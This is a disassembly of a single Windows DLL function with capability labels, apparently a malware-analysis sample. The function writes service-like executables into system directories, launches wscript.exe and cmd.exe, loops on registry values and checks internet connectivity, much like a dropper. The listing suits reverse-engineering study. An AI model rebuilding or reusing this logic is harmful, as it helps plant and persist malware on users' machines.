Function at 0x1800015e0
Capabilities:
Check internet connectivity via wininet
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
mov r11, rsp
push rsi
push r12
sub rsp, 0x168
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rdi
mov qword [r11 - 0x18], r13
xor r13d, r13d
mov ebp, ecx
lea rcx, [rsp + 0x41]
mov esi, r13d
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], sil
mov r12d, r13d
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18000a670]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800016a8
lea rcx, [0x18000a670]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x18000a670]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18000a670]
repne scasb al, byte [rdi]
movzx eax, word [0x1800073a0]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x18000a670]
repne scasb al, byte [rdi]
mov rax, qword [str.insvc32.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800073b0]
mov dword [rdi + 7], eax
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18000a780]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x18000172d
lea rcx, [0x18000a780]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x18000a780]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18000a780]
repne scasb al, byte [rdi]
movzx eax, word [0x1800073a0]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x18000a780]
repne scasb al, byte [rdi]
mov rax, qword [str.maxsvc32.dll]
mov qword [rdi - 1], rax
mov eax, dword [0x1800073c0]
mov dword [rdi + 7], eax
movzx eax, byte [0x1800073c4]
mov byte [rdi + 0xb], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18000a890]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800017a8
lea rcx, [0x18000a890]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x18000a890]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18000a890]
repne scasb al, byte [rdi]
movzx eax, word [0x1800073a0]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x18000a890]
repne scasb al, byte [rdi]
mov rax, qword [str.wscript.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800073d0]
mov dword [rdi + 7], eax
mov ecx, dword [0x18000a658]
mov qword [rsp + 0x180], rbx
call fcn.1800013e0
mov edi, 0x64
test eax, eax
jne 0x18000187c
lea edx, [rdi - 0x63]
lea rcx, str.wscript.exe
call fcn.1800014c0
test eax, eax
jne 0x180001804
lea r8, [0x18000a890]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, edi
mov ecx, edi
dec ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.wscript.exe
mov edx, 1
call fcn.1800014c0
test eax, eax
jne 0x18000182e
test ebx, ebx
jg 0x180001806
jmp 0x1800018f0
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18000a348]
lea rax, [rsp + 0x30]
lea rdx, [0x180009c20]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x18000a5e8], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x1800018f0
cmp ebp, 2
je 0x1800018a7
cmp ebp, 3
je 0x1800018a7
cmp ebp, 5
je 0x1800018a7
mov eax, dword [0x18000a658]
mov ecx, 0x63
mov dword [0x18000a4c8], eax
lea r12d, [rcx - 0x62]
call fcn.1800032c0
jmp 0x1800018f0
cmp dword [0x18000a5e8], esi
jne 0x1800018f0
mov rcx, qword [0x18000a348]
lea rax, [rsp + 0x30]
lea rdx, [0x180009c20]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x18000a5e8], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r8d, dword [0x18000a658]
lea r9, [0x18000a780]
lea rdx, str._d__s
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x40]
lea r8, [0x18000a670]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x180]
nop dword [rax + rax]
mov ecx, 0xc8
dec edi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18000a348]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [0x180009c20]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], r13d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [rsp + 0x30]
mov dword [0x18000a5e8], edx
cmp edx, 1
je 0x18000199d
test edi, edi
jg 0x180001940
jmp 0x1800019e5
mov esi, 1
test r12d, r12d
je 0x1800019e5
lea r9, [0x18000a4d0]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp ebp, 6
jne 0x1800019da
lea rcx, str.Themes
call fcn.180001320
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rcx, str.http:__www.naver.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
mov r13, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x188]
test eax, eax
jne 0x180001a43
test r12d, r12d
je 0x180001a43
mov edx, dword [0x18000a4cc]
inc edx
cmp edx, 5
mov dword [0x18000a4cc], edx
jge 0x180001a43
mov ecx, dword [0x18000a658]
call fcn.180001470
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180005850
add rsp, 0x168
pop r12
pop rsi
ret